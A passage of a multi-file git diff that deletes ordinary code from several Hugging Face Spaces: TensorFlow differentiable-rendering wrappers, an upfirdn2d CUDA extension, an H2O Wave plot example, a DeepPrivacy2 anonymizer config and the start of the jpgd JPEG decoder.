dtype=tf.float32) - rast = tf.convert_to_tensor(rast, dtype=tf.float32) - tri = tf.convert_to_tensor(tri, dtype=tf.int32) - if diff_attrs: - rast_db = tf.convert_to_tensor(rast_db, dtype=tf.float32) - - # Infer output shape. - out_shape = [None, None, None, None] - if rast.shape.rank is not None: - out_shape = [rast.shape[0].value, rast.shape[1].value, rast.shape[2].value, None] - if attr.shape.rank in [2, 3]: - out_shape[3] = attr.shape[-1].value - - # Output pixel differentials for at least some attributes. - @tf.custom_gradient - def func_da(attr, rast, rast_db): - diff_attrs_all = int(diff_attrs == 'all') - diff_attrs_list = [] if diff_attrs_all else diff_attrs - out, out_da = _get_plugin().interpolate_fwd_da(attr, rast, tri, rast_db, diff_attrs_all, diff_attrs_list) - - # Infer number of channels in out_da. - if not diff_attrs_all: - da_channels = 2 * len(diff_attrs) - if (attr.shape.rank in [2, 3]) and (attr.shape[-1].value is not None): - da_channels = 2 * attr.shape[-1].value - else: - da_channels = None - - # Set output shapes. - out.set_shape(out_shape) - out_da.set_shape([out_shape[0], out_shape[1], out_shape[2], da_channels]) - - def grad(dy, dda): - return _get_plugin().interpolate_grad_da(attr, rast, tri, dy, rast_db, dda, diff_attrs_all, diff_attrs_list) - return (out, out_da), grad - - # No pixel differentials for any attribute. - @tf.custom_gradient - def func(attr, rast): - out, out_da = _get_plugin().interpolate_fwd(attr, rast, tri) - out.set_shape(out_shape) - out_da.set_shape(out_shape[:-1] + [0]) # Zero channels in out_da. - def grad(dy, _): - return _get_plugin().interpolate_grad(attr, rast, tri, dy) - return (out, out_da), grad - - # Choose stub. - if diff_attrs: - return func_da(attr, rast, rast_db) - else: - return func(attr, rast) - -#---------------------------------------------------------------------------- -# Texture. -#---------------------------------------------------------------------------- - -def texture(tex, uv, uv_da=None, filter_mode='auto', boundary_mode='wrap', tex_const=False, max_mip_level=None): - assert tex_const is True or tex_const is False - - # Default filter mode. - if filter_mode == 'auto': - filter_mode = 'linear-mipmap-linear' if (uv_da is not None) else 'linear' - - # Known constant texture? - tex_const = tex_const or _is_constant(tex, np.float32) - - # Sanitize inputs. - tex_const = 1 if tex_const else 0 - if max_mip_level is None: - max_mip_level = -1 - else: - max_mip_level = int(max_mip_level) - assert max_mip_level >= 0 - - # Convert inputs to tensors. - tex = tf.convert_to_tensor(tex, dtype=tf.float32) - uv = tf.convert_to_tensor(uv, dtype=tf.float32) - if 'mipmap' in filter_mode: - uv_da = tf.convert_to_tensor(uv_da, dtype=tf.float32) - - # Infer output shape. - out_shape = [None, None, None, None] - if uv.shape.rank is not None: - assert uv.shape.rank == 4 - out_shape = [uv.shape[0].value, uv.shape[1].value, uv.shape[2].value, None] - if tex.shape.rank is not None: - assert tex.shape.rank == (5 if boundary_mode == 'cube' else 4) - out_shape[-1] = tex.shape[-1].value - - # If mipping disabled via max level=0, we may as well use simpler filtering internally. - if max_mip_level == 0 and filter_mode in ['linear-mipmap-nearest', 'linear-mipmap-linear']: - filter_mode = 'linear' - - # Convert filter mode to internal enumeration. - filter_mode_dict = {'nearest': 0, 'linear': 1, 'linear-mipmap-nearest': 2, 'linear-mipmap-linear': 3} - filter_mode_enum = filter_mode_dict[filter_mode] - - # Convert boundary mode to internal enumeration. - boundary_mode_dict = {'cube': 0, 'wrap': 1, 'clamp': 2, 'zero': 3} - boundary_mode_enum = boundary_mode_dict[boundary_mode] - - # Linear-mipmap-linear: Mipmaps enabled, all gradients active. - @tf.custom_gradient - def func_linear_mipmap_linear(tex, uv, uv_da): - out, mip = _get_plugin().texture_fwd_mip(tex, uv, uv_da, filter_mode_enum, boundary_mode_enum, tex_const, max_mip_level) - out.set_shape(out_shape) - def grad(dy): - return _get_plugin().texture_grad_linear_mipmap_linear(tex, uv, dy, uv_da, mip, filter_mode_enum, boundary_mode_enum, max_mip_level) - return out, grad - - # Linear-mipmap-nearest: Mipmaps enabled, no gradients to uv_da. - @tf.custom_gradient - def func_linear_mipmap_nearest(tex, uv): - out, mip = _get_plugin().texture_fwd_mip(tex, uv, uv_da, filter_mode_enum, boundary_mode_enum, tex_const, max_mip_level) - out.set_shape(out_shape) - def grad(dy): - return _get_plugin().texture_grad_linear_mipmap_nearest(tex, uv, dy, uv_da, mip, filter_mode_enum, boundary_mode_enum, max_mip_level) - return out, grad - - # Linear: Mipmaps disabled, no uv_da, no gradients to uv_da. - @tf.custom_gradient - def func_linear(tex, uv): - out = _get_plugin().texture_fwd(tex, uv, filter_mode_enum, boundary_mode_enum) - out.set_shape(out_shape) - def grad(dy): - return _get_plugin().texture_grad_linear(tex, uv, dy, filter_mode_enum, boundary_mode_enum) - return out, grad - - # Nearest: Mipmaps disabled, no uv_da, no gradients to uv_da or uv. - @tf.custom_gradient - def func_nearest(tex): - out = _get_plugin().texture_fwd(tex, uv, filter_mode_enum, boundary_mode_enum) - out.set_shape(out_shape) - def grad(dy): - return _get_plugin().texture_grad_nearest(tex, uv, dy, filter_mode_enum, boundary_mode_enum) - return out, grad - - # Choose stub. - if filter_mode == 'linear-mipmap-linear': - return func_linear_mipmap_linear(tex, uv, uv_da) - elif filter_mode == 'linear-mipmap-nearest': - return func_linear_mipmap_nearest(tex, uv) - elif filter_mode == 'linear': - return func_linear(tex, uv) - elif filter_mode == 'nearest': - return func_nearest(tex) - -#---------------------------------------------------------------------------- -# Antialias. -#---------------------------------------------------------------------------- - -def antialias(color, rast, pos, tri, tri_const=False, pos_gradient_boost=1.0): - assert tri_const is True or tri_const is False - - # Known constant triangles? - tri_const = tri_const or _is_constant(tri, np.int32) - - # Convert inputs to tensors. - color = tf.convert_to_tensor(color, dtype=tf.float32) - rast = tf.convert_to_tensor(rast, dtype=tf.float32) - pos = tf.convert_to_tensor(pos, dtype=tf.float32) - tri = tf.convert_to_tensor(tri, dtype=tf.int32) - - # Sanitize inputs. - tri_const = 1 if tri_const else 0 - - @tf.custom_gradient - def func(color, pos): - color_out, work_buffer = _get_plugin().antialias_fwd(color, rast, pos, tri, tri_const) - color_out.set_shape(color.shape) - def grad(dy): - grad_color, grad_pos = _get_plugin().antialias_grad(color, rast, pos, tri, dy, work_buffer) - if pos_gradient_boost != 1.0: - grad_pos = grad_pos * pos_gradient_boost - return grad_color, grad_pos - return color_out, grad - - return func(color, pos) - -#---------------------------------------------------------------------------- diff --git a/spaces/gyugnsu/DragGan-Inversion/PTI/models/StyleCLIP/mapper/datasets/__init__.py b/spaces/gyugnsu/DragGan-Inversion/PTI/models/StyleCLIP/mapper/datasets/__init__.py deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/spaces/gyugnsu/DragGan-Inversion/torch_utils/ops/upfirdn2d.cpp b/spaces/gyugnsu/DragGan-Inversion/torch_utils/ops/upfirdn2d.cpp deleted file mode 100644 index 44fa337d8d4c34dfa010a59cd27d86857db671aa..0000000000000000000000000000000000000000 --- a/spaces/gyugnsu/DragGan-Inversion/torch_utils/ops/upfirdn2d.cpp +++ /dev/null @@ -1,107 +0,0 @@ -// Copyright (c) 2021, NVIDIA CORPORATION & AFFILIATES. All rights reserved. -// -// NVIDIA CORPORATION and its licensors retain all intellectual property -// and proprietary rights in and to this software, related documentation -// and any modifications thereto. Any use, reproduction, disclosure or -// distribution of this software and related documentation without an express -// license agreement from NVIDIA CORPORATION is strictly prohibited. - -#include -#include -#include -#include "upfirdn2d.h" - -//------------------------------------------------------------------------ - -static torch::Tensor upfirdn2d(torch::Tensor x, torch::Tensor f, int upx, int upy, int downx, int downy, int padx0, int padx1, int pady0, int pady1, bool flip, float gain) -{ - // Validate arguments. - TORCH_CHECK(x.is_cuda(), "x must reside on CUDA device"); - TORCH_CHECK(f.device() == x.device(), "f must reside on the same device as x"); - TORCH_CHECK(f.dtype() == torch::kFloat, "f must be float32"); - TORCH_CHECK(x.numel() <= INT_MAX, "x is too large"); - TORCH_CHECK(f.numel() <= INT_MAX, "f is too large"); - TORCH_CHECK(x.numel() > 0, "x has zero size"); - TORCH_CHECK(f.numel() > 0, "f has zero size"); - TORCH_CHECK(x.dim() == 4, "x must be rank 4"); - TORCH_CHECK(f.dim() == 2, "f must be rank 2"); - TORCH_CHECK((x.size(0)-1)*x.stride(0) + (x.size(1)-1)*x.stride(1) + (x.size(2)-1)*x.stride(2) + (x.size(3)-1)*x.stride(3) <= INT_MAX, "x memory footprint is too large"); - TORCH_CHECK(f.size(0) >= 1 && f.size(1) >= 1, "f must be at least 1x1"); - TORCH_CHECK(upx >= 1 && upy >= 1, "upsampling factor must be at least 1"); - TORCH_CHECK(downx >= 1 && downy >= 1, "downsampling factor must be at least 1"); - - // Create output tensor. - const at::cuda::OptionalCUDAGuard device_guard(device_of(x)); - int outW = ((int)x.size(3) * upx + padx0 + padx1 - (int)f.size(1) + downx) / downx; - int outH = ((int)x.size(2) * upy + pady0 + pady1 - (int)f.size(0) + downy) / downy; - TORCH_CHECK(outW >= 1 && outH >= 1, "output must be at least 1x1"); - torch::Tensor y = torch::empty({x.size(0), x.size(1), outH, outW}, x.options(), x.suggest_memory_format()); - TORCH_CHECK(y.numel() <= INT_MAX, "output is too large"); - TORCH_CHECK((y.size(0)-1)*y.stride(0) + (y.size(1)-1)*y.stride(1) + (y.size(2)-1)*y.stride(2) + (y.size(3)-1)*y.stride(3) <= INT_MAX, "output memory footprint is too large"); - - // Initialize CUDA kernel parameters. - upfirdn2d_kernel_params p; - p.x = x.data_ptr(); - p.f = f.data_ptr(); - p.y = y.data_ptr(); - p.up = make_int2(upx, upy); - p.down = make_int2(downx, downy); - p.pad0 = make_int2(padx0, pady0); - p.flip = (flip) ? 1 : 0; - p.gain = gain; - p.inSize = make_int4((int)x.size(3), (int)x.size(2), (int)x.size(1), (int)x.size(0)); - p.inStride = make_int4((int)x.stride(3), (int)x.stride(2), (int)x.stride(1), (int)x.stride(0)); - p.filterSize = make_int2((int)f.size(1), (int)f.size(0)); - p.filterStride = make_int2((int)f.stride(1), (int)f.stride(0)); - p.outSize = make_int4((int)y.size(3), (int)y.size(2), (int)y.size(1), (int)y.size(0)); - p.outStride = make_int4((int)y.stride(3), (int)y.stride(2), (int)y.stride(1), (int)y.stride(0)); - p.sizeMajor = (p.inStride.z == 1) ? p.inSize.w : p.inSize.w * p.inSize.z; - p.sizeMinor = (p.inStride.z == 1) ? p.inSize.z : 1; - - // Choose CUDA kernel. - upfirdn2d_kernel_spec spec; - AT_DISPATCH_FLOATING_TYPES_AND_HALF(x.scalar_type(), "upfirdn2d_cuda", [&] - { - spec = choose_upfirdn2d_kernel(p); - }); - - // Set looping options. - p.loopMajor = (p.sizeMajor - 1) / 16384 + 1; - p.loopMinor = spec.loopMinor; - p.loopX = spec.loopX; - p.launchMinor = (p.sizeMinor - 1) / p.loopMinor + 1; - p.launchMajor = (p.sizeMajor - 1) / p.loopMajor + 1; - - // Compute grid size. - dim3 blockSize, gridSize; - if (spec.tileOutW < 0) // large - { - blockSize = dim3(4, 32, 1); - gridSize = dim3( - ((p.outSize.y - 1) / blockSize.x + 1) * p.launchMinor, - (p.outSize.x - 1) / (blockSize.y * p.loopX) + 1, - p.launchMajor); - } - else // small - { - blockSize = dim3(256, 1, 1); - gridSize = dim3( - ((p.outSize.y - 1) / spec.tileOutH + 1) * p.launchMinor, - (p.outSize.x - 1) / (spec.tileOutW * p.loopX) + 1, - p.launchMajor); - } - - // Launch CUDA kernel. - void* args[] = {&p}; - AT_CUDA_CHECK(cudaLaunchKernel(spec.kernel, gridSize, blockSize, args, 0, at::cuda::getCurrentCUDAStream())); - return y; -} - -//------------------------------------------------------------------------ - -PYBIND11_MODULE(TORCH_EXTENSION_NAME, m) -{ - m.def("upfirdn2d", &upfirdn2d); -} - -//------------------------------------------------------------------------ diff --git a/spaces/h2oai/wave-tour/examples/plot_area.py b/spaces/h2oai/wave-tour/examples/plot_area.py deleted file mode 100644 index 8d6026ed0998f8a0fdaa6bb9b522c67b8175c0f5..0000000000000000000000000000000000000000 --- a/spaces/h2oai/wave-tour/examples/plot_area.py +++ /dev/null @@ -1,25 +0,0 @@ -# Plot / Area -# Make an area #plot. -# --- -from h2o_wave import site, data, ui - -page = site['/demo'] - -page.add('example', ui.plot_card( - box='1 1 5 5', - title='Area', - data=data('year price', 9, rows=[ - ('1991', 15468), - ('1992', 16100), - ('1993', 15900), - ('1994', 17409), - ('1995', 17000), - ('1996', 31056), - ('1997', 31982), - ('1998', 32040), - ('1999', 33233), - ]), - plot=ui.plot([ui.mark(type='area', x='=year', y='=price', y_min=0)]) -)) - -page.save() diff --git a/spaces/haakohu/deep_privacy2_face/configs/anonymizers/FB_cse_mask.py b/spaces/haakohu/deep_privacy2_face/configs/anonymizers/FB_cse_mask.py deleted file mode 100644 index ff5e3bfbefad8e1d6e480fa22256aff0f9647b35..0000000000000000000000000000000000000000 --- a/spaces/haakohu/deep_privacy2_face/configs/anonymizers/FB_cse_mask.py +++ /dev/null @@ -1,29 +0,0 @@ -from dp2.anonymizer import Anonymizer -from dp2.detection.person_detector import CSEPersonDetector -from ..defaults import common -from tops.config import LazyCall as L -from dp2.generator.dummy_generators import MaskOutGenerator - - -maskout_G = L(MaskOutGenerator)(noise="constant") - -detector = L(CSEPersonDetector)( - mask_rcnn_cfg=dict(), - cse_cfg=dict(), - cse_post_process_cfg=dict( - target_imsize=(288, 160), - exp_bbox_cfg=dict(percentage_background=0.3, axis_minimum_expansion=.1), - exp_bbox_filter=dict(minimum_area=32*32, min_bbox_ratio_inside=0, aspect_ratio_range=[0, 99999]), - iou_combine_threshold=0.4, - dilation_percentage=0.02, - normalize_embedding=False - ), - score_threshold=0.3, - cache_directory=common.output_dir.joinpath("cse_person_detection_cache") -) - -anonymizer = L(Anonymizer)( - detector="${detector}", - person_G_cfg="configs/fdh/styleganL_nocse.py", - cse_person_G_cfg="configs/fdh/styleganL.py", -) diff --git a/spaces/hands012/gpt-academic/crazy_functions/test_project/cpp/libJPG/jpgd.cpp b/spaces/hands012/gpt-academic/crazy_functions/test_project/cpp/libJPG/jpgd.cpp deleted file mode 100644 index 36d06c8e9068570c3e7624895d474f33dbfe3d29..0000000000000000000000000000000000000000 --- a/spaces/hands012/gpt-academic/crazy_functions/test_project/cpp/libJPG/jpgd.cpp +++ /dev/null @@ -1,3276 +0,0 @@ -// jpgd.cpp - C++ class for JPEG decompression. -// Public domain, Rich Geldreich -// Last updated Apr. 16, 2011 -// Alex Evans: Linear memory allocator (taken from jpge.h). -// -// Supports progressive and baseline sequential JPEG image files, and the most common chroma subsampling factors: Y, H1V1, H2V1, H1V2, and H2V2. -// -// Chroma upsampling quality: H2V2 is upsampled in the frequency domain, H2V1 and H1V2 are upsampled using point sampling. -// Chroma upsampling reference: "Fast Scheme for Image Size Change in the Compressed Domain" -// http://vision.ai.uiuc.edu/~dugad/research/dct/index.html - -#include "jpgd.h" -#include - -#include -// BEGIN EPIC MOD -#define JPGD_ASSERT(x) { assert(x); CA_ASSUME(x); } (void)0 -// END EPIC MOD - -#ifdef _MSC_VER -#pragma warning (disable : 4611) // warning C4611: interaction between '_setjmp' and C++ object destruction is non-portable -#endif - -// Set to 1 to enable freq. domain chroma upsampling on images using H2V2 subsampling (0=faster nearest neighbor sampling). -// This is slower, but results in higher quality on images with highly saturated colors. -#define JPGD_SUPPORT_FREQ_DOMAIN_UPSAMPLING 1 - -#define JPGD_TRUE (1) -#define JPGD_FALSE (0) - -#define JPGD_MAX(a,b) (((a)>(b)) ? (a) : (b)) -#define JPGD_MIN(a,b) (((a)<(b)) ? (a) : (b)) - -namespace jpgd { - - static inline void *jpgd_malloc(size_t nSize) { return FMemory::Malloc(nSize); } - static inline void jpgd_free(void *p) { FMemory::Free(p); } - -// BEGIN EPIC MOD -//@UE3 - use UE3 BGRA encoding instead of assuming RGBA - // stolen from IImageWrapper.h - enum ERGBFormatJPG - { - Invalid = -1, - RGBA = 0, - BGRA = 1, - Gray = 2, - }; - static ERGBFormatJPG jpg_format; -// END EPIC MOD - - // DCT coefficients are stored in this sequence. - static int g_ZAG[64] = { 0,1,8,16,9,2,3,10,17,24,32,25,18,11,4,5,12,19,26,33,40,48,41,34,27,20,13,6,7,14,21,28,35,42,49,56,57,50,43,36,29,22,15,23,30,37,44,51,58,59,52,45,38,31,39,46,53,60,61,54,47,55,62,63 }; - - enum JPEG_MARKER - { - M_SOF0 = 0xC0, M_SOF1 = 0xC1, M_SOF2 = 0xC2, M_SOF3 = 0xC3, M_SOF5 = 0xC5, M_SOF6 = 0xC6, M_SOF7 = 0xC7, M_JPG = 0xC8, - M_SOF9 = 0xC9, M_SOF10 = 0xCA, M_SOF11 = 0xCB, M_SOF13 = 0xCD, M_SOF14 = 0xCE, M_SOF15 = 0xCF, M_DHT = 0xC4, M_DAC = 0xCC, - M_RST0 = 0xD0, M_RST1 = 0xD1, M_RST2 = 0xD2, M_RST3 = 0xD3, M_RST4 = 0xD4, M_RST5 = 0xD5, M_RST6 = 0xD6, M_RST7 = 0xD7, - M_SOI = 0xD8, M_EOI = 0xD9, M_SOS = 0xDA, M_DQT = 0xDB, M_DNL = 0xDC, M_DRI = 0xDD, M_DHP = 0xDE, M_EXP = 0xDF, - M_APP0 = 0xE0, M_APP15 = 0xEF, M_JPG0 = 0xF0, M_JPG13 = 0xFD, M_COM = 0xFE, M_TEM = 0x01, M_ERROR = 0x100, RST0 = 0xD0 - }; - - enum JPEG_SUBSAMPLING { JPGD_GRAYSCALE = 0, JPGD_YH1V1, JPGD_YH2V1, JPGD_YH1V2, JPGD_YH2V2 }; - -#define CONST_BITS 13 -#define PASS1_BITS 2 -#define SCALEDONE ((int32)1) - -#define FIX_0_298631336 ((int32)2446) /* FIX(0.298631336) */ -#define FIX_0_390180644 ((int32)3196) /* FIX(0.390180644) */ -#define FIX_0_541196100 ((int32)4433) /* FIX(0.541196100) */ -#define FIX_0_765366865 ((int32)6270) /* FIX(0.765366865) */ -#define FIX_0_899976223 ((int32)7373) /* FIX(0.899976223) */ -#define FIX_1_175875602 ((int32)9633) /* FIX(1.175875602) */ -#define FIX_1_501321110 ((int32)12299) /* FIX(1.501321110) */ -#define FIX_1_847759065 ((int32)15137) /* FIX(1.847759065) */ -#define FIX_1_961570560 ((int32)16069) /* FIX(1.961570560) */ -#define FIX_2_053119869 ((int32)16819) /* FIX(2.053119869) */ -#define FIX_2_562915447 ((int32)20995) /* FIX(2.562915447) */ -#define FIX_3_072711026 ((int32)25172) /* FIX(3.072711026) */ - -#define DESCALE(x,n) (((x) + (SCALEDONE << ((n)-1))) >> (n)) -#define DESCALE_ZEROSHIFT(x,n) (((x) + (128 << (n)) + (SCALEDONE << ((n)-1))) >> (n)) - -#define MULTIPLY(var, cnst) ((var) * (cnst)) - -#define CLAMP(i) ((static_cast(i) > 255) ? (((~i) >> 31) & 0xFF) : (i)) - - // Compiler creates a fast path 1D IDCT for X non-zero columns - template - struct Row - { - static void idct(int* pTemp, const jpgd_block_t* pSrc) - { - // ACCESS_COL() will be optimized at compile time to either an array access, or 0. -#define ACCESS_COL(x) (((x) < NONZERO_COLS) ? (int)pSrc[x] : 0) - - const int z2 = ACCESS_COL(2), z3 = ACCESS_COL(6); - - const int z1 = MULTIPLY(z2 + z3, FIX_0_541196100); - const int tmp2 = z1 + MULTIPLY(z3, - FIX_1_847759065); - const int tmp3 = z1 + MULTIPLY(z2, FIX_0_765366865); - - const int tmp0 = (ACCESS_COL(0) + ACCESS_COL(4)) << CONST_BITS; - const int tmp1 = (ACCESS_COL(0) - ACCESS_COL(4)) << CONST_BITS; - - const int tmp10 = tmp0 + tmp3, tmp13 = tmp0 - tmp3, tmp11 = tmp1 + tmp2, tmp12 = tmp1 - tmp2; - - const int atmp0 = ACCESS_COL(7), atmp1 = ACCESS_COL(5), atmp2 = ACCESS_COL(3), atmp3 = ACCESS_COL(1); - - const int bz1 = atmp0 + atmp3, bz2 = atmp1 + atmp2, bz3 = atmp0 + atmp2, bz4 = atmp1 + atmp3; - const int bz5 = MULTIPLY(bz3 + bz4, FIX_1_175875602); - - const int az1 = MULTIPLY(bz1, - FIX_0_899976223); - const int az2 = MULTIPLY(bz2, - FIX_2_562915447); - const int az3 = MULTIPLY(bz3, - FIX_1_961570560) + bz5; - const int az4 = MULTIPLY(bz4, - FIX_0_390180644) + bz5; - - const int btmp0 = MULTIPLY(atmp0, FIX_0_298631336) + az1 + az3; - const int btmp1 = MULTIPLY(atmp1, FIX_2_053119869) + az2 + az4; - const int btmp2 = MULTIPLY(atmp2, FIX_3_072711026) + az2 + az3; - const int btmp3 = MULTIPLY(atmp3, FIX_1_501321110) + az1 + az4; - - pTemp[0] = DESCALE(tmp10 + btmp3, CONST_BITS-PASS1_BITS); - pTemp[7] = DESCALE(tmp10 - btmp3, CONST_BITS-PASS1_BITS); - pTemp[1] = DESCALE(tmp11 + btmp2, CONST_BITS-PASS1_BITS); - pTemp[6] = DESCALE(tmp11 - btmp2, CONST_BITS-PASS1_BITS); - pTemp[2] = DESCALE(tmp12 + btmp1, CONST_BITS-PASS1_BITS); - pTemp[5] = DESCALE(tmp12 - btmp1, CONST_BITS-PASS1_BITS); - pTemp[3] = DESCALE(tmp13 + btmp0, CONST_BITS-PASS1_BITS); - pTemp[4] = DESCALE(tmp13 - btmp0, CONST_BITS-PASS1_BITS); - } - }; - - template <> - struct Row<0> - { - static void idct(int* pTemp, const jpgd_block_t* pSrc) - { -#ifdef _MSC_VER - pTemp; pSrc; -#endif - } - }; - - template <> - struct Row<1> - { - static void idct(int* pTemp, const jpgd_block_t* pSrc) - { - const int dcval = (pSrc[0] << PASS1_BITS); - - pTemp[0] = dcval; - pTemp[1] = dcval; - pTemp[2] = dcval; - pTemp[3] = dcval; - pTemp[4] = dcval; - pTemp[5] = dcval; - pTemp[6] = dcval; - pTemp[7] = dcval; - } - }; - - // Compiler creates a fast path 1D IDCT for X non-zero rows - template - struct Col - { - static void idct(uint8* pDst_ptr, const int* pTemp) - { - // ACCESS_ROW() will be optimized at compile time to either an array access, or 0. -#define ACCESS_ROW(x) (((x) < NONZERO_ROWS) ? pTemp[x * 8] : 0) - - const int z2 = ACCESS_ROW(2); - const int z3 = ACCESS_ROW(6); - - const int z1 = MULTIPLY(z2 + z3, FIX_0_541196100); - const int tmp2 = z1 + MULTIPLY(z3, - FIX_1_847759065); - const int tmp3 = z1 + MULTIPLY(z2, FIX_0_765366865); - - const int tmp0 = (ACCESS_ROW(0) + ACCESS_ROW(4)) << CONST_BITS; - const int tmp1 = (ACCESS_ROW(0) - ACCESS_ROW(4)) << CONST_BITS; - - const int tmp10 = tmp0 + tmp3, tmp13 = tmp0 - tmp3, tmp11 = tmp1 + tmp2, tmp12 = tmp1 - tmp2; - - const int atmp0 = ACCESS_ROW(7), atmp1 = ACCESS_ROW(5), atmp2 = ACCESS_ROW(3), atmp3 = ACCESS_ROW(1); - - const int bz1 = atmp0 + atmp3, bz2 = atmp1 + atmp2, bz3 = atmp0 + atmp2, bz4 = atmp1 + atmp3; - const int bz5 = MULTIPLY(bz3 + bz4, FIX_1_175875602); - - const int az1 = MULTIPLY(bz1, - FIX_0_899976223); - const int az2 = MULTIPLY(bz2, - FIX_2_562915447); - const int az3 = MULTIPLY(bz3, - FIX_1_961570560) + bz5; - const int az4 = MULTIPLY(bz4, - FIX_0_390180644) + bz5; - - const int btmp0 = MULTIPLY(atmp0, FIX_0_298631336) + az1 + az3; - const int btmp1 = MULTIPLY(atmp1, FIX_2_053119869) + az2 + az4; - const int btmp2 = MULTIPLY(atmp2, FIX_3_072711026) + az2 + az3; - const int btmp3 = MULTIPLY(atmp3, FIX_1_501321110) + az1 + az4; - - int i = DESCALE_ZEROSHIFT(tmp10 + btmp3, CONST_BITS+PASS1_BITS+3); - pDst_ptr[8*0] = (uint8)CLAMP(i); - - i = DESCALE_ZEROSHIFT(tmp10 - btmp3, CONST_BITS+PASS1_BITS+3); - pDst_ptr[8*7] = (uint8)CLAMP(i); - - i = DESCALE_ZEROSHIFT(tmp11 + btmp2, CONST_BITS+PASS1_BITS+3); - pDst_ptr[8*1] = (uint8)CLAMP(i); - - i = DESCALE_ZEROSHIFT(tmp11 - btmp2, CONST_BITS+PASS1_BITS+3); - pDst_ptr[8*6] = (uint8)CLAMP(i); - - i = DESCALE_ZEROSHIFT(tmp12 + btmp1, CONST_BITS+PASS1_BITS+3); - pDst_ptr[8*2] = (uint8)CLAMP(i); - - i = DESCALE_ZEROSHIFT(tmp12 - btmp1, CONST_BITS+PASS1_BITS+3); - pDst_ptr[8*5] = (uint8)CLAMP(i); - - i = DESCALE_ZEROSHIFT(tmp13 + btmp0, CONST_BITS+PASS1_BITS+3); - pDst_ptr[8*3] = (uint8)CLAMP(i); - - i = DESCALE_ZEROSHIFT(tmp13 - btmp0, CONST_BITS+PASS1_BITS+3); - pDst_ptr[8*4] = (uint8)CLAMP(i); - } - }; - - template <> - struct Col<1> - { - static void idct(uint8* pDst_ptr, const int* pTemp) - { - int dcval = DESCALE_ZEROSHIFT(pTemp[0], PASS1_BITS+3); - const uint8 dcval_clamped = (uint8)CLAMP(dcval); - pDst_ptr[0*8] = dcval_clamped; - pDst_ptr[1*8] = dcval_clamped; - pDst_ptr[2*8] = dcval_clamped; - pDst_ptr[3*8] = dcval_clamped; - pDst_ptr[4*8] = dcval_clamped; - pDst_ptr[5*8] = dcval_clamped; - pDst_ptr[6*8] = dcval_clamped; - pDst_ptr[7*8] = dcval_clamped; - } - }; - - static const uint8 s_idct_row_table[] = - { - 1,0,0,0,0,0,0,0, 2,0,0,0,0,0,0,0, 2,1,0,0,0,0,0,0, 2,1,1,0,0,0,0,0, 2,2,1,0,0,0,0,0, 3,2,1,0,0,0,0,0, 4,2,1,0,0,0,0,0, 4,3,1,0,0,0,0,0, - 4,3,2,0,0,0,0,0, 4,3,2,1,0,0,0,0, 4,3,2,1,1,0,0,0, 4,3,2,2,1,0,0,0, 4,3,3,2,1,0,0,0, 4,4,3,2,1,0,0,0, 5,4,3,2,1,0,0,0, 6,4,3,2,1,0,0,0, - 6,5,3,2,1,0,0,0, 6,5,4,2,1,0,0,0, 6,5,4,3,1,0,0,0, 6,5,4,3,2,0,0,0, 6,5,4,3,2,1,0,0, 6,5,4,3,2,1,1,0, 6,5,4,3,2,2,1,0, 6,5,4,3,3,2,1,0, - 6,5,4,4,3,2,1,0, 6,5,5,4,3,2,1,0, 6,6,5,4,3,2,1,0, 7,6,5,4,3,2,1,0, 8,6,5,4,3,2,1,0, 8,7,5,4,3,2,1,0, 8,7,6,4,3,2,1,0, 8,7,6,5,3,2,1,0, - 8,7,6,5,4,2,1,0, 8,7,6,5,4,3,1,0, 8,7,6,5,4,3,2,0, 8,7,6,5,4,3,2,1, 8,7,6,5,4,3,2,2, 8,7,6,5,4,3,3,2, 8,7,6,5,4,4,3,2, 8,7,6,5,5,4,3,2, - 8,7,6,6,5,4,3,2, 8,7,7,6,5,4,3,2, 8,8,7,6,5,4,3,2, 8,8,8,6,5,4,3,2, 8,8,8,7,5,4,3,2, 8,8,8,7,6,4,3,2, 8,8,8,7,6,5,3,2, 8,8,8,7,6,5,4,2, - 8,8,8,7,6,5,4,3, 8,8,8,7,6,5,4,4, 8,8,8,7,6,5,5,4, 8,8,8,7,6,6,5,4, 8,8,8,7,7,6,5,4, 8,8,8,8,7,6,5,4, 8,8,8,8,8,6,5,4, 8,8,8,8,8,7,5,4, - 8,8,8,8,8,7,6,4, 8,8,8,8,8,7,6,5, 8,8,8,8,8,7,6,6, 8,8,8,8,8,7,7,6, 8,8,8,8,8,8,7,6, 8,8,8,8,8,8,8,6, 8,8,8,8,8,8,8,7, 8,8,8,8,8,8,8,8, - }; - - static const uint8 s_idct_col_table[] = { 1, 1, 2, 3, 3, 3, 3, 3, 3, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8 }; - - void idct(const jpgd_block_t* pSrc_ptr, uint8* pDst_ptr, int block_max_zag) - { - JPGD_ASSERT(block_max_zag >= 1); - JPGD_ASSERT(block_max_zag <= 64); - - if (block_max_zag == 1) - { - int k = ((pSrc_ptr[0] + 4) >> 3) + 128; - k = CLAMP(k); - k = k | (k<<8); - k = k | (k<<16); - - for (int i = 8; i > 0; i--) - { - *(int*)&pDst_ptr[0] = k; - *(int*)&pDst_ptr[4] = k; - pDst_ptr += 8; - } - return; - } - - int temp[64]; - - const jpgd_block_t* pSrc = pSrc_ptr; - int* pTemp = temp; - - const uint8* pRow_tab = &s_idct_row_table[(block_max_zag - 1) * 8]; - int i; - for (i = 8; i > 0; i--, pRow_tab++) - { - switch (*pRow_tab) - { - case 0: Row<0>::idct(pTemp, pSrc); break; - case 1: Row<1>::idct(pTemp, pSrc); break; - case 2: Row<2>::idct(pTemp, pSrc); break; - case 3: Row<3>::idct(pTemp, pSrc); break; - case 4: Row<4>::idct(pTemp, pSrc); break; - case 5: Row<5>::idct(pTemp, pSrc); break; - case 6: Row<6>::idct(pTemp, pSrc); break; - case 7: Row<7>::idct(pTemp, pSrc); break; - case 8: Row<8>::idct(pTemp, pSrc); break; - } - - pSrc += 8; - pTemp += 8; - } - - pTemp = temp; - - const int nonzero_rows = s_idct_col_table[block_max_zag - 1]; - for (i = 8; i > 0; i--) - { - switch (nonzero_rows) - { - case 1: Col<1>::idct(pDst_ptr, pTemp); break; - case 2: Col<2>::idct(pDst_ptr, pTemp); break; - case 3: Col<3>::idct(pDst_ptr, pTemp); break; - case 4: Col<4>::idct(pDst_ptr, pTemp); break; - case 5: 